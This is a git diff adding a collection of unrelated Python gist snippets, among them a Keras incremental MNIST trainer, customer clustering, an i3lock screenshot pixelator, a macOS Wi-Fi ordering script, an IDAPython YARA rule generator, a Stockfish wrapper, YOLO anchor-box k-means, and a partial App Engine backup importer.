+        weights = old_model.layers[7].get_weights()
+        model.add(Dense(128,weights=weights))
+    model.add(Activation('relu'))
+    model.add(Dropout(0.5))
+    
+    return model
+
+if __name__ == '__main__':
+    MODEL_TRAINED = False
+    # input image dimensions
+    img_rows, img_cols = 28, 28
+
+    # the data, shuffled and split between train and test sets
+    (X_train_all, y_train_all), (X_test_all, y_test_all) = mnist.load_data()
+
+    if not MODEL_TRAINED:
+        batch_size = 256
+        total_classes = 10
+        nb_epoch = 12
+
+        # number of convolutional filters to use
+        nb_filters = 32
+        # size of pooling area for max pooling
+        nb_pool = 2
+        # convolution kernel size
+        nb_conv = 3
+
+        classes = [9,1,6]
+        X_train, Y_train, X_test, Y_test = build_data(classes,3,
+                                                      X_train_all,y_train_all,X_test_all,y_test_all)
+
+        model1 = build_model()
+        model1.add(Dense(len(classes)))
+        model1.add(Activation('softmax'))
+        model1.compile(loss='categorical_crossentropy',optimizer='adadelta',metrics=['accuracy'])
+
+        model1.fit(X_train, Y_train, batch_size=batch_size, nb_epoch=nb_epoch,
+                   verbose=1, validation_data=(X_test, Y_test))
+
+        # Save this model for later interrogation
+        json_string = model1.to_json() 
+        open('model1_incremental_architecture.json', 'w').write(json_string) 
+        model1.save_weights('model1_incremental_weights.h5') 
+
+        score = model1.evaluate(X_test, Y_test, verbose=0)
+        print('Test score:', score[0])
+        print('Test accuracy:', score[1])
+
+        # Now create a new model with all total_classes in the softmax layer.  Copy over the weights to
+        # this new network and initialize the new class connections randomly.
+        model2 = build_model(old_model=model1)
+        model2.add(Dense(total_classes))
+
+        # Replace the corresponding weights of the new network with the previously trained class weights
+        weights = model2.layers[-1].get_weights()
+        old_weights = model1.layers[-2].get_weights() # Last dense layer is second to last layer
+        weights[0][:,-len(classes):] = old_weights[0]
+        weights[1][-len(classes):] = old_weights[1]
+        model2.layers[-1].set_weights(weights)
+        model2.add(Activation('softmax'))
+        model2.compile(loss='categorical_crossentropy',optimizer='adadelta',metrics=['accuracy'])
+    
+        new_classes = [7, 0, 3, 5, 2, 8, 4]
+        class_mapping = new_classes[:]
+        class_mapping.extend(classes)
+        X_train, Y_train, X_test, Y_test = build_data(new_classes,10,
+                                                      X_train_all,y_train_all,X_test_all,y_test_all)
+    
+        model2.fit(X_train, Y_train, batch_size=batch_size, nb_epoch=nb_epoch,
+                   verbose=1, validation_data=(X_test, Y_test))
+        score = model2.evaluate(X_test, Y_test, verbose=0)
+        print('Test score:', score[0])
+        print('Test accuracy:', score[1])
+    
+        # Save the incrementally trained model
+        json_string = model2.to_json() 
+        open('model2_incremental_architecture.json', 'w').write(json_string) 
+        model2.save_weights('model2_incremental_weights.h5') 
+
+        X_test = X_test_all.reshape(X_test_all.shape[0], 1, img_rows, img_cols)
+        X_test = X_test.astype('float32')
+        X_test /= 255
+
+        # Convert class vectors to binary class matrices
+        # Note, that when a new image is presented to this network, the label of the image must be 
+        # fed into class_mapping to get the "real" label of the output
+        y_test = np.array([class_mapping.index(c) for c in y_test_all])
+        Y_test = np_utils.to_categorical(y_test, total_classes)
+
+        score = model2.evaluate(X_test, Y_test, verbose=1)
+        print('Total Test score:', score[0])
+        print('Total Test accuracy:', score[1])
+
+    else:    
+        # Load the incrementally trained model and test it 
+        model = model_from_json(open('model2_incremental_architecture.json').read()) 
+        model.load_weights('model2_incremental_weights.h5')
+        model.compile(loss='categorical_crossentropy',optimizer='adadelta',metrics=['accuracy'])
+
+        classes = [7, 0, 3, 5, 2, 8, 4, 9, 1, 6]
+        X_train, Y_train, X_test, Y_test = build_data(classes,10,
+                                                      X_train_all,y_train_all,X_test_all,y_test_all)
+
+        score = model.evaluate(X_test, Y_test, verbose=1)
+        print('Total Test score:', score[0])
+        print('Total Test accuracy:', score[1])
+
+        score = model.evaluate(X_train, Y_train, verbose=1)
+        print('Total Train score:', score[0])
+        print('Total Train accuracy:', score[1])
diff --git a/hard-gists/3a6e4d618afc344aab81/._snippet.py b/hard-gists/3a6e4d618afc344aab81/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3a6e4d618afc344aab81/._snippet.py differ
diff --git a/hard-gists/3a6e4d618afc344aab81/snippet.py b/hard-gists/3a6e4d618afc344aab81/snippet.py
new file mode 100644
index 00000000..3b61f59c
--- /dev/null
+++ b/hard-gists/3a6e4d618afc344aab81/snippet.py
@@ -0,0 +1,62 @@
+import pandas as pd
+# http://blog.yhathq.com/static/misc/data/WineKMC.xlsx
+df_offers = pd.read_excel("./WineKMC.xlsx", sheetname=0)
+df_offers.columns = ["offer_id", "campaign", "varietal", "min_qty", "discount", "origin", "past_peak"]
+df_offers.head()
+
+df_transactions = pd.read_excel("./WineKMC.xlsx", sheetname=1)
+df_transactions.columns = ["customer_name", "offer_id"]
+df_transactions['n'] = 1
+df_transactions.head()
+
+# join the offers and transactions table
+df = pd.merge(df_offers, df_transactions)
+# create a "pivot table" which will give us the number of times each 
+# customer responded to a given variable
+matrix = df.pivot_table(index=['customer_name'], columns=['offer_id'], values='n')
+# a little tidying up. fill NA values with 0 and make the index into a column
+matrix = matrix.fillna(0).reset_index()
+x_cols = matrix.columns[1:]
+
+from sklearn.cluster import KMeans
+
+cluster = KMeans(n_clusters=5)
+# slice matrix so we only include the 0/1 indicator columns in the clustering
+matrix['cluster'] = cluster.fit_predict(matrix[x_cols])
+matrix.cluster.value_counts()
+
+from ggplot import *
+ggplot(matrix, aes(x='factor(cluster)')) + geom_bar() + xlab("Cluster") + ylab("Customers\n(# in cluster)")
+
+from sklearn.decomposition import PCA
+
+pca = PCA(n_components=2)
+matrix['x'] = pca.fit_transform(matrix[x_cols])[:,0]
+matrix['y'] = pca.fit_transform(matrix[x_cols])[:,1]
+matrix = matrix.reset_index()
+
+customer_clusters = matrix[['customer_name', 'cluster', 'x', 'y']]
+customer_clusters.head()
+
+df = pd.merge(df_transactions, customer_clusters)
+df = pd.merge(df_offers, df)
+
+from ggplot import *
+
+ggplot(df, aes(x='x', y='y', color='cluster')) + \
+    geom_point(size=75) + \
+    ggtitle("Customers Grouped by Cluster")
+    
+cluster_centers = pca.transform(cluster.cluster_centers_)
+cluster_centers = pd.DataFrame(cluster_centers, columns=['x', 'y'])
+cluster_centers['cluster'] = range(0, len(cluster_centers))
+
+ggplot(df, aes(x='x', y='y', color='cluster')) + \
+    geom_point(size=75) + \
+    geom_point(cluster_centers, size=500) +\
+    ggtitle("Customers Grouped by Cluster")
+
+
+df['is_4'] = df.cluster==4
+df.groupby("is_4").varietal.value_counts()
+df.groupby("is_4")[['min_qty', 'discount']].mean()
\ No newline at end of file
diff --git a/hard-gists/3a96a407e16dae155744/._snippet.py b/hard-gists/3a96a407e16dae155744/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3a96a407e16dae155744/._snippet.py differ
diff --git a/hard-gists/3a96a407e16dae155744/snippet.py b/hard-gists/3a96a407e16dae155744/snippet.py
new file mode 100644
index 00000000..9a0ef186
--- /dev/null
+++ b/hard-gists/3a96a407e16dae155744/snippet.py
@@ -0,0 +1,75 @@
+#!/usr/bin/env python2.7
+# -*- coding: utf-8 -*-
+# vim:ts=2:sw=2:expandtab
+
+import os
+import xcb
+from xcb.xproto import *
+from PIL import Image
+
+XCB_MAP_STATE_VIEWABLE = 2
+
+def screenshot():
+  os.system('import -window root /tmp/.i3lock.png')
+
+def xcb_fetch_windows():
+  """ Returns an array of rects of currently visible windows. """
+
+  x = xcb.connect()
+  root = x.get_setup().roots[0].root
+
+  rects = []
+
+  # iterate through top-level windows
+  for child in x.core.QueryTree(root).reply().children:
+    # make sure we only consider windows that are actually visible
+    attributes = x.core.GetWindowAttributes(child).reply()
+    if attributes.map_state != XCB_MAP_STATE_VIEWABLE:
+      continue
+
+    rects += [x.core.GetGeometry(child).reply()]
+
+  return rects
+
+def obscure_image(image):
+  """ Obscures the given image. """
+  size = image.size
+  pixel_size = 9
+
+  image = image.resize((size[0] / pixel_size, size[1] / pixel_size), Image.NEAREST)
+  image = image.resize((size[0], size[1]), Image.NEAREST)
+
+  return image
+
+def obscure(rects):
+  """ Takes an array of rects to obscure from the screenshot. """
+  image = Image.open('/tmp/.i3lock.png')
+
+  for rect in rects:
+    area = (
+      rect.x, rect.y,
+      rect.x + rect.width,
+      rect.y + rect.height
+    )
+
+    cropped = image.crop(area)
+    cropped = obscure_image(cropped)
+    image.paste(cropped, area)
+
+  image.save('/tmp/.i3lock.png')
+
+def lock_screen():
+  os.system('i3lock -u -i /tmp/.i3lock.png')
+
+if __name__ == '__main__':
+  # 1: Take a screenshot.
+  screenshot()
+
+  # 2: Get the visible windows.
+  rects = xcb_fetch_windows()
+
+  # 3: Process the screenshot.
+  obscure(rects)
+
+  # 4: Lock the screen
+  lock_screen()
diff --git a/hard-gists/3aa1d94bb83e5124eae6/._snippet.py b/hard-gists/3aa1d94bb83e5124eae6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3aa1d94bb83e5124eae6/._snippet.py differ
diff --git a/hard-gists/3aa1d94bb83e5124eae6/snippet.py b/hard-gists/3aa1d94bb83e5124eae6/snippet.py
new file mode 100644
index 00000000..c80230fe
--- /dev/null
+++ b/hard-gists/3aa1d94bb83e5124eae6/snippet.py
@@ -0,0 +1,52 @@
+#!/usr/bin/python
+
+# As written, this requires the following:
+# - OS X 10.6+ (may not work in 10.10, haven't tested)
+# - python 2.6 or 2.7 (for collections.namedtuple usage, should be fine as default python in 10.6 is 2.6)
+# - pyObjC (as such, recommended to be used with native OS X python install)
+
+# Only tested and confirmed to work against 10.9.5
+# Run with root
+
+import objc, ctypes.util, os.path, collections
+from Foundation import NSOrderedSet
+
+preferred_SSID = 'This SSID Should Be First'
+
+def load_objc_framework(framework_name):
+    # Utility function that loads a Framework bundle and creates a namedtuple where the attributes are the loaded classes from the Framework bundle
+    loaded_classes = dict()
+    framework_bundle = objc.loadBundle(framework_name, bundle_path=os.path.dirname(ctypes.util.find_library(framework_name)), module_globals=loaded_classes)
+    return collections.namedtuple('AttributedFramework', loaded_classes.keys())(**loaded_classes)
+
+# Load the CoreWLAN.framework (10.6+)
+CoreWLAN = load_objc_framework('CoreWLAN')
+
+# Load all available wifi interfaces
+interfaces = dict()
+for i in CoreWLAN.CWInterface.interfaceNames():
+    interfaces[i] = CoreWLAN.CWInterface.interfaceWithName_(i)
+
+# Repeat the configuration with every wifi interface
+for i in interfaces.keys():
+    # Grab a mutable copy of this interface's configuration
+    configuration_copy = CoreWLAN.CWMutableConfiguration.alloc().initWithConfiguration_(interfaces[i].configuration())
+    # Find all the preferred/remembered network profiles
+    profiles = list(configuration_copy.networkProfiles())
+    # Grab all the SSIDs, in order
+    SSIDs = [x.ssid() for x in profiles]
+    # Check to see if our preferred SSID is in the list
+    if (preferred_SSID in SSIDs):
+        # Apparently it is, so let's adjust the order
+        # Profiles with matching SSIDs will move to the front, the rest will remain at the end
+        # Order is preserved, example where 'ssid3' is preferred:
+        #    Original: [ssid1, ssid2, ssid3, ssid4]
+        #   New order: [ssid3, ssid1, ssid2, ssid4]
+        profiles.sort(key=lambda x: x.ssid() == preferred_SSID, reverse=True)
+        # Now we have to update the mutable configuration
+        # First convert it back to a NSOrderedSet
+        profile_set = NSOrderedSet.orderedSetWithArray_(profiles)
+        # Then set/overwrite the configuration copy's networkProfiles
+        configuration_copy.setNetworkProfiles_(profile_set)
+        # Then update the network interface configuration
+        result = interfaces[i].commitConfiguration_authorization_error_(configuration_copy, None, None)
diff --git a/hard-gists/3abc9577bede0aeef25526b201732246/._snippet.py b/hard-gists/3abc9577bede0aeef25526b201732246/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3abc9577bede0aeef25526b201732246/._snippet.py differ
diff --git a/hard-gists/3abc9577bede0aeef25526b201732246/snippet.py b/hard-gists/3abc9577bede0aeef25526b201732246/snippet.py
new file mode 100644
index 00000000..cb629ee3
--- /dev/null
+++ b/hard-gists/3abc9577bede0aeef25526b201732246/snippet.py
@@ -0,0 +1,257 @@
+'''
+IDAPython script that generates a YARA rule to match against the
+basic blocks of the current function. It masks out relocation bytes
+and ignores jump instructions (given that we're already trying to
+match compiler-specific bytes, this is of arguable benefit).
+
+If python-yara is installed, the IDAPython script also validates that
+the generated rule matches at least one segment in the current file.
+
+author: Willi Ballenthin <william.ballenthin@fireeye.com>
+'''
+
+import logging
+from collections import namedtuple
+
+import idc
+import idaapi
+import idautils
+
+
+logger = logging.getLogger(__name__)
+
+BasicBlock = namedtuple('BasicBlock', ['va', 'size'])
+
+
+# each rule must have at least this many non-masked bytes 
+MIN_BB_BYTE_COUNT = 4
+
+
+def get_basic_blocks(fva):
+    '''
+    return sequence of `BasicBlock` instances for given function.
+    '''
+    ret = []
+    func = idaapi.get_func(fva)
+    if func is None:
+        return ret
+
+    for bb in idaapi.FlowChart(func):
+        ret.append(BasicBlock(va=bb.startEA,
+                              size=bb.endEA - bb.startEA))
+
+    return ret
+
+
+def get_function(va):
+    '''
+    return va for first instruction in function that contains given va.
+    '''
+    return idaapi.get_func(va).startEA
+
+
+Rule = namedtuple('Rule', ['name', 'bytes', 'masked_bytes'])
+
+
+def is_jump(va):
+    '''
+    return True if the instruction at the given address appears to be a jump.
+    '''
+    return idc.GetMnem(va).startswith('j')
+
+
+def get_basic_block_rule(bb):
+    '''
+    create and format a YARA rule for a single basic block.
+    mask relocation bytes into unknown bytes (like '??').
+    do not include final instructions if they are jumps.
+    '''
+    # fetch the instruction start addresses
+    insns = []
+    va = bb.va
+    while va < bb.va + bb.size:
+        insns.append(va)
+        va = idc.NextHead(va)
+
+    # drop the last instruction if its a jump
+    if is_jump(insns[-1]):
+        insns = insns[:-1]
+
+    bytes = []
+    # `masked_bytes` is the list of formatted bytes,
+    #   not yet join'd for performance.
+    masked_bytes = []
+    for va in insns:
+        size = idc.ItemSize(va)
+        if idaapi.contains_fixups(va, size):
+            # fetch the fixup locations within this one instruction.
+            fixups = []
+            fixupva = idaapi.get_next_fixup_ea(va)
+            fixups.append(fixupva)
+            # TODO: assume the fixup size is four bytes, probably bad.
+            fixupva += 4
+
+            while fixupva < va + size:
+                fixupva = idaapi.get_next_fixup_ea(fixupva)
+                fixups.append(fixupva)
+                # TODO: assume the fixup size is four bytes, probably bad.
+                fixupva += 4
+
+            # assume each fixup is four bytes (TODO!),
+            #  and compute the addresses of each component byte.
+            fixup_byte_addrs = set([])
+            for fixup in fixups:
+                for i in range(fixup, fixup+4):
+                    fixup_byte_addrs.add(i)
+            
+            # fetch and format each byte of the instruction,
+            #  possibly masking it into an unknown byte if its a fixup.
+            for i, byte in enumerate(idc.GetManyBytes(va, size)):
+                byte_addr = i + va
+                if byte_addr in fixup_byte_addrs:
+                    bytes.append(ord(byte))
+                    masked_bytes.append('??')
+                else:
+                    bytes.append(ord(byte))
+                    masked_bytes.append('%02X' % (ord(byte)))
+        elif 'call' in idc.GetMnem(va):
+            for i, byte in enumerate(idc.GetManyBytes(va, size)):
+                bytes.append(ord(byte))
+                masked_bytes.append('??')
+        else:
+            for byte in idc.GetManyBytes(va, size):
+                bytes.append(ord(byte))
+                masked_bytes.append('%02X' % (ord(byte)))
+
+    return Rule('$0x%x' % (bb.va), bytes, masked_bytes)
+
+
+def format_rules(fva, rules):
+    '''
+    given the address of a function, and the byte signatures for basic blocks in
+     the function, format a complete YARA rule that matches all of the
+     basic block signatures.
+    '''
+    name = idc.GetFunctionName(fva)
+
+    # some characters aren't valid for YARA rule names
+    safe_name = name
+    BAD_CHARS = '@ /\\!@#$%^&*()[]{};:\'",./<>?'
+    for c in BAD_CHARS:
+        safe_name = safe_name.replace(c, '')
+
+    md5 = idautils.GetInputFileMD5()
+    ret = []
+    ret.append('rule a_{hash:s}_{name:s} {{'.format(
+        hash=md5,
+        name=safe_name))
+    ret.append('  meta:')
+    ret.append('    sample_md5 = "{md5:s}"'.format(md5=md5))
+    ret.append('    function_address = "0x{fva:x}"'.format(fva=fva))
+    ret.append('    function_name = "{name:s}"'.format(name=name))
+    ret.append('  strings:')
+    for rule in rules:
+        formatted_rule = ' '.join(rule.masked_bytes)
+        ret.append('    {name:s} = {{ {hex:s} }}'.format(
+            name=rule.name,
+            hex=formatted_rule))
+    ret.append('  condition:')
+    ret.append('    all of them')
+    ret.append('}')
+    return '\n'.join(ret)
+
+
+def create_yara_rule_for_function(fva):
+    '''
+    given the address of a function, generate and format a complete YARA rule
+     that matches the basic blocks.
+    '''
+    rules = []
+    for bb in get_basic_blocks(fva):
+        rule = get_basic_block_rule(bb)
+
+        # ensure there at least MIN_BB_BYTE_COUNT
+        #  non-masked bytes in the rule, or ignore it.
+        # this will reduce the incidence of many very small matches.
+        unmasked_count = len(filter(lambda b: b != '??', rule.masked_bytes))
+        if unmasked_count < MIN_BB_BYTE_COUNT:
+            continue
+
+        rules.append(rule)
+
+    return format_rules(fva, rules)
+
+
+def get_segment_buffer(segstart):
+    '''
+    fetch the bytes of the section that starts at the given address.
+    if the entire section cannot be accessed, try smaller regions until it works.
+    '''
+    segend = idaapi.getseg(segstart).endEA
+    buf = None
+    segsize = segend - segstart
+    while buf is None:
+        buf = idc.GetManyBytes(segstart, segsize)
+        if buf is None:
+            segsize -= 0x1000
+    return buf
+
+
+Segment = namedtuple('Segment', ['start', 'size', 'name', 'buf'])
+
+
+def get_segments():
+    '''
+    fetch the segments in the current executable.
+    '''
+    for segstart in idautils.Segments():
+         segend = idaapi.getseg(segstart).endEA
+         segsize = segend - segstart
+         segname = str(idc.SegName(segstart)).rstrip('\x00')
+         segbuf = get_segment_buffer(segstart)
+         yield Segment(segstart, segend, segname, segbuf)
+
+
+class TestDidntRunError(Exception):
+    pass
+
+
+def test_yara_rule(rule):
+    '''
+    try to match the given rule against each segment in the current exectuable.
+    raise TestDidntRunError if its not possible to import the YARA library.
+    return True if there's at least one match, False otherwise.
+    '''
+    try:
+        import yara
+    except ImportError:
+        logger.warning("can't test rule: failed to import python-yara")
+        raise TestDidntRunError('python-yara not available')
+
+    r = yara.compile(source=rule)
+
+    for segment in get_segments():
+        matches = r.match(data=segment.buf)
+        if len(matches) > 0:
+            logger.info('generated rule matches section: {:s}'.format(segment.name))
+            return True
+    return False
+
+
+def main():
+    va = idc.ScreenEA()
+    fva = get_function(va)
+    print('-' * 80)
+    rule = create_yara_rule_for_function(fva)
+    print(rule)
+
+    if test_yara_rule(rule):
+        print('success: validated the generated rule')
+    else:
+        print('error: failed to validate generated rule')
+
+
+if __name__ == '__main__':
+    logging.basicConfig(level=logging.DEBUG)
+    logging.getLogger().setLevel(logging.DEBUG)
+    main()
diff --git a/hard-gists/3af51fd2d11ddcad7f16/._snippet.py b/hard-gists/3af51fd2d11ddcad7f16/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3af51fd2d11ddcad7f16/._snippet.py differ
diff --git a/hard-gists/3af51fd2d11ddcad7f16/snippet.py b/hard-gists/3af51fd2d11ddcad7f16/snippet.py
new file mode 100644
index 00000000..71f61dc2
--- /dev/null
+++ b/hard-gists/3af51fd2d11ddcad7f16/snippet.py
@@ -0,0 +1,56 @@
+import subprocess
+from lib.common.dominoUtil import running_on_local
+from lib.config import PROJECT_PATH
+import time
+import psutil
+import os
+import numpy as np
+
+def _recommended_threads():
+    return psutil.cpu_count()-2
+
+def _recommended_memory():
+    return psutil.virtual_memory().available/(2*1024*1024)
+
+def _numbers_in_file(fn):
+    f = open( fn )
+    return [ int(x) for x in f.readlines() ]
+
+
+def stockfish( fen, seconds=1, threads=None, memory=None ):
+    """ Return the evaluation for a position """
+    return stockfish_scores( fen=fen, seconds=seconds, threads=threads, memory=memory)[-1]
+
+def is_positional( scores ):
+    """ True if the position is positional in nature """
+    score_diff      = [ abs(sd) for sd in np.diff( scores ) ]
+    return max( score_diff ) < 25
+
+def stockfish_scores(fen, seconds=1, threads=None, memory=None, all_scores=False):
+    """ Call stockfish engine and return vector of evaluation score """
+
+    # Defaults
+    memory = memory or _recommended_memory()
+    threads = threads or _recommended_threads()
+    binary = 'mac' if running_on_local() else 'linux'
+
+    # Shell out to Stockfish
+    subprocess.call(["chmod", "+x", "stockfish.sh"])
+    subprocess.call(["chmod", "+x", "stockfish_"+binary])
+    cmd =  ' '.join( ['./stockfish.sh' ,fen, str(seconds) , binary, str(threads), str(memory) ] )
+    print cmd
+    subprocess.call( cmd, shell=True )
+
+    # Read from score.txt
+    time.sleep( 1 )
+    try:
+        scores_file = os.path.join( PROJECT_PATH,'roardata_stockfish','scores.txt')
+        return _numbers_in_file(scores_file)
+    except:
+        analysis_file = scores_file.replace('score.txt','analysis.txt')
+        print "stockfish engine had trouble reading " + scores_file + ", probably because the analysis file did not contain the evaluation string as expected"
+        print "Here is the analysis file " + analysis_file
+        with open( analysis_file, 'r') as fin:
+            print fin.read()
+
+
diff --git a/hard-gists/3b1159baecb809b5fcb3a6154bc3cb0b/._snippet.py b/hard-gists/3b1159baecb809b5fcb3a6154bc3cb0b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3b1159baecb809b5fcb3a6154bc3cb0b/._snippet.py differ
diff --git a/hard-gists/3b1159baecb809b5fcb3a6154bc3cb0b/snippet.py b/hard-gists/3b1159baecb809b5fcb3a6154bc3cb0b/snippet.py
new file mode 100644
index 00000000..08e7ae00
--- /dev/null
+++ b/hard-gists/3b1159baecb809b5fcb3a6154bc3cb0b/snippet.py
@@ -0,0 +1,198 @@
+# -*- coding: utf-8 -*-
+import numpy as np
+import xml.etree.ElementTree as ET
+from pycocotools.coco import COCO
+
+
+def convert_coco_bbox(size, box):
+    dw = 1. / size[0]
+    dh = 1. / size[1]
+    x = box[0] + box[2] / 2.0
+    y = box[1] + box[3] / 2.0
+    w = box[2]
+    h = box[3]
+    x = x * dw
+    w = w * dw
+    y = y * dh
+    h = h * dh
+    return x, y, w, h
+
+
+def convert_bbox(size, box):
+    dw = 1. / size[0]
+    dh = 1. / size[1]
+    x = (box[0] + box[1]) / 2.0
+    y = (box[2] + box[3]) / 2.0
+    w = box[1] - box[0]
+    h = box[3] - box[2]
+    x = x * dw
+    w = w * dw
+    y = y * dh
+    h = h * dh
+    return x, y, w, h
+
+
+def area(x):
+    if len(x.shape) == 1:
+        return x[0] * x[1]
+    else:
+        return x[:, 0] * x[:, 1]
+
+
+def kmeans_iou(k, centroids, points, iter_count=0, iteration_cutoff=25, feature_size=13):
+
+    best_clusters = []
+    best_avg_iou = 0
+    best_avg_iou_iteration = 0
+
+    npoi = points.shape[0]
+    area_p = area(points)  # (npoi, 2) -> (npoi,)
+
+    while True:
+        cen2 = centroids.repeat(npoi, axis=0).reshape(k, npoi, 2)
+        cdiff = points - cen2
+        cidx = np.where(cdiff < 0)
+        cen2[cidx] = points[cidx[1], cidx[2]]
+
+        wh = cen2.prod(axis=2).T  # (k, npoi, 2) -> (npoi, k)
+        dist = 1. - (wh / (area_p[:, np.newaxis] + area(centroids) - wh))  # -> (npoi, k)
+        belongs_to_cluster = np.argmin(dist, axis=1)  # (npoi, k) -> (npoi,)
+        clusters_niou = np.min(dist, axis=1)  # (npoi, k) -> (npoi,)
+        clusters = [points[belongs_to_cluster == i] for i in range(k)]
+        avg_iou = np.mean(1. - clusters_niou)
+        if avg_iou > best_avg_iou:
+            best_avg_iou = avg_iou
+            best_clusters = clusters
+            best_avg_iou_iteration = iter_count
+
+        print("\nIteration {}".format(iter_count))
+        print("Average iou to closest centroid = {}".format(avg_iou))
+        print("Sum of all distances (cost) = {}".format(np.sum(clusters_niou)))
+
+        new_centroids = np.array([np.mean(c, axis=0) for c in clusters])
+        isect = np.prod(np.min(np.asarray([centroids, new_centroids]), axis=0), axis=1)
+        aa1 = np.prod(centroids, axis=1)
+        aa2 = np.prod(new_centroids, axis=1)
+        shifts = 1 - isect / (aa1 + aa2 - isect)
+
+        # for i, s in enumerate(shifts):
+        #     print("{}: Cluster size: {}, Centroid distance shift: {}".format(i, len(clusters[i]), s))
+
+        if sum(shifts) == 0 or iter_count >= best_avg_iou_iteration + iteration_cutoff:
+            break
+
+        centroids = new_centroids
+        iter_count += 1
+
+    # Get anchor boxes from best clusters
+    anchors = np.asarray([np.mean(cluster, axis=0) for cluster in best_clusters])
+    anchors = anchors[anchors[:, 0].argsort()]
+    print("k-means clustering pascal anchor points (original coordinates) \
+    \nFound at iteration {} with best average IoU: {} \
+    \n{}".format(best_avg_iou_iteration, best_avg_iou, anchors*feature_size))
+
+    return anchors
+
+
+def load_pascal_dataset(datasets):
+    name = 'pascal'
+    data = []
+
+    for year, image_set in datasets:
+        img_ids_filename = '%s/%s/VOCdevkit/VOC%s/ImageSets/Main/%s.txt' % (source_dir, name, year, image_set)
+        ifs_img_ids = open(img_ids_filename)
+        img_ids = ifs_img_ids.read().strip().split()
+
+        for image_id in img_ids:
+            anno_filename = '%s/%s/VOCdevkit/VOC%s/Annotations/%s.xml' % (source_dir, name, year, image_id)
+            ifs_anno = open(anno_filename)
+            tree = ET.parse(ifs_anno)
+            root = tree.getroot()
+            size = root.find('size')
+            w = int(size.find('width').text)
+            h = int(size.find('height').text)
+
+            for obj in root.iter('object'):
+                xmlbox = obj.find('bndbox')
+                b = (float(xmlbox.find('xmin').text),
+                     float(xmlbox.find('xmax').text),
+                     float(xmlbox.find('ymin').text),
+                     float(xmlbox.find('ymax').text))
+                bb = convert_bbox((w, h), b)
+                data.append(bb[2:])
+
+            ifs_anno.close()
+        ifs_img_ids.close()
+
+    return np.array(data)
+
+
+def load_coco_dataset(datasets):
+    name = 'coco'
+    data = []
+
+    for dataset in datasets:
+        annfile = '%s/%s/annotations/instances_%s.json' % (source_dir, name, dataset)
+        coco = COCO(annfile)
+        cats = coco.loadCats(coco.getCatIds())
+        base_classes = {cat['id']: cat['name'] for cat in cats}
+        img_id_set = set()
+
+        for cat_ids in base_classes.iterkeys():
+            img_ids = coco.getImgIds(catIds=cat_ids)
+            img_id_set = img_id_set.union(set(img_ids))
+        image_ids = list(img_id_set)
+
+        for image_id in image_ids:
+            annIds = coco.getAnnIds(imgIds=image_id)
+            anns = coco.loadAnns(annIds)
+            img = coco.loadImgs(image_id)[0]
+            w = img['width']
+            h = img['height']
+
+            for ann in anns:
+                b = ann['bbox']
+                bb = convert_coco_bbox((w, h), b)
+                data.append(bb[2:])
+
+    return np.array(data)
+
+if __name__ == "__main__":
+
+    # examples
+    # k, pascal, coco
+    # 1, 0.30933335617, 0.252004954777
+    # 2, 0.45787906725, 0.365835079771
+    # 3, 0.53198291772, 0.453180358467
+    # 4, 0.57562962803, 0.500282182136
+    # 5, 0.58694643198, 0.522010174068
+    # 6, 0.61789602056, 0.549904351137
+    # 7, 0.63443906479, 0.569485509501
+    # 8, 0.65114747974, 0.585718648162
+    # 9, 0.66393113546, 0.601564171461
+
+    # k-means picking the first k points as centroids
+    img_size = 416
+    k = 5
+
+    # change this line to match your system.
+    source_dir = "/media/RED6/DATA"
+
+    random_data = np.random.random((1000, 2))
+    centroids = np.random.random((k, 2))
+    random_anchors = kmeans_iou(k, centroids, random_data)
+
+    subsets = (('2007', 'train'), ('2007', 'val'), ('2012', 'train'), ('2012', 'val'))
+    pascal_data = load_pascal_dataset(subsets)
+    centroids = pascal_data[np.random.choice(np.arange(len(pascal_data)), k, replace=False)]
+    # centroids = pascal_data[:k]
+    pascal_anchors = kmeans_iou(k, centroids, pascal_data, feature_size=img_size / 32)
+
+    subsets = ('train2014', 'val2014')
+    # subsets = ('test2014', 'test2015')
+    coco_data = load_coco_dataset(subsets)
+    centroids = coco_data[np.random.choice(np.arange(len(coco_data)), k, replace=False)]
+    # centroids = coco_data[:k]
+    coco_anchors = kmeans_iou(k, centroids, coco_data, feature_size=img_size / 32)
+
+    print 'done'
diff --git a/hard-gists/3b258f5287fcc181aacf/._snippet.py b/hard-gists/3b258f5287fcc181aacf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3b258f5287fcc181aacf/._snippet.py differ
diff --git a/hard-gists/3b258f5287fcc181aacf/snippet.py b/hard-gists/3b258f5287fcc181aacf/snippet.py
new file mode 100644
index 00000000..21b74c50
--- /dev/null
+++ b/hard-gists/3b258f5287fcc181aacf/snippet.py
@@ -0,0 +1,78 @@
+"""
+# App Engine import data from Datastore Backup to localhost
+
+You can use this script to import large(ish) App Engine Datastore backups to your localohst dev server.
+
+## Getting backup files
+
+Follow instructions from Greg Bayer's awesome article to fetch the App Engine backups:
+http://gbayer.com/big-data/app-engine-datastore-how-to-efficiently-export-your-data/
+
+Basically, download and configure gsutil and run:
+```
+gsutil -m cp -R gs://your_bucket_name/your_path /local_target
+```
+
+## Reading data to your local (dev_appserver) application
+
+Copy-paste this gist to your Interactive Console, set correct paths and press `Execute`.
+(default: http://localhost:8000/console)
+
+"""
+from google.appengine.api.files import records
+from google.appengine.datastore import entity_pb
+from google.net.proto.ProtocolBuffer import ProtocolBufferDecodeError
+from google.appengine.datastore import datastore_pbs
+from google.appengine.api import datastore
+from google.appengine.ext import db
+from os.path import isfile
+from os.path import join
+from os import listdir
+
+def run():
+    # Set your downloaded folder's path here (must be readable by dev_appserver)
+    mypath = '/local_target'
+    # Set your app's name here
+    appname = "dev~yourappnamehere"
+    
+    
+    # Do the harlem shake
+    onlyfiles = [ f for f in listdir(mypath) if isfile(join(mypath,f)) ]
+    ec = datastore_pbs.get_entity_converter()
+    
+    for file in onlyfiles:
+        i = 0
+        try:
+            raw = open(mypath + "/" + file, 'r')
+            reader = records.RecordsReader(raw)
+            to_put = list()
+            for record in reader:
+                entity_proto = entity_pb.EntityProto(contents=record)
+                entity_proto.key_.app_ = appname
